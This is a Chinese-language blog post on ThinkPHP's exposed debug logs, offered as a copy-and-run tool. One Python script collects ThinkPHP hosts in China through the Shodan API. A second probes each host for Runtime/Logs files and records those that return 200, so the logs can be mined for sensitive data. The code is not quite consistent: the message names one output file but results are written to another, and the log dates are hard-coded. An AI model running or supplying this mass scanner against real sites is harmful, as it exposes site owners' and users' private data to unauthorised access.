昨天遇到了一个ThinkPHP日志泄露,然后我就写了个脚本利用shodan搜索批量的来找一下漏洞,估计已经被人撸完了,不过还有一些网站有着此漏洞。ip收集和漏洞验证脚本工具我会放在最下面,需要的直接复制运行就行。
漏洞信息:
1、ThinkPHP在开启DEBUG的情况下会在Runtime目录下生成日志,而且debug很多网站都没有关
2、ThinkPHP默认安装后,也会在Runtime目录下生成日志
THINKPHP3.2 结构:Application\Runtime\Logs\Home\16_09_09.log
THINKPHP3.1结构:Runtime\Logs\Home\16_09_09.log
日志存储结构是 :项目名\Runtime\Logs\Home\年份_月份_日期.log
例如,某个大学的日志泄露 ,里面可能存在着敏感信息,这就需要我们自己寻找和利用

ip收集脚本编写:
import shodan
api = shodan.Shodan('api') # 写你自己shodan的api
def Findip():
print('收集ip开始')
try:
f = open(r'ThinkPHP.txt', 'a+')
results = api.search("thinkphp country:'CN'") #如果修改搜索的内容请注意符号
print("一共找到:%s" % results['total'])
for result in results['matches']:
url = result['ip_str'] + ":" + str(result['port'])
print(url)
f.write("http://" + url)
f.write("\n")
f.close()
print('ip收集完毕')
except shodan.APIError as e:
print("end:%s" % e)
Findip()

漏洞验证:将ThinkPHP.txt 和此py放同一目录
import time
import requests
def run():
payload_o = '/App/Runtime/Logs/22_03_29.log'
payload_t = '/Runtime/Logs/Home/22_03_29.log'
print("最后的结果保存在vlun.txt")
for ip in open('ThinkPHP.txt'):
# 把换行利用正则换成空格
ip = ip.replace('\n', '')
ip1 = ip + payload_o
ip2 = ip + payload_t
print("当前ip",ip)
# 容错处理
try:
vlun_o = requests.get(ip1).status_code
vlun_t = requests.get(ip2).status_code
if vlun_o == 200:
print('find it->' + ip1 + '状态码为:' + str(vlun_o))
with open(r'T1.txt', 'a+', encoding='utf-8') as f:
f.write(ip1 + '\n')
f.close()
if vlun_t == 200:
print('find it->' + ip2 + '状态码为:' + str(vlun_t))
with open(r'T1.txt', 'a+', encoding='utf-8') as f:
f.write(ip2 + '\n')
f.close()
time.sleep(0.5)
except Exception as e:
pass
run()

存在200即有可能存在日志泄露
不懂shodan编程的可以看 撒旦API使用指南

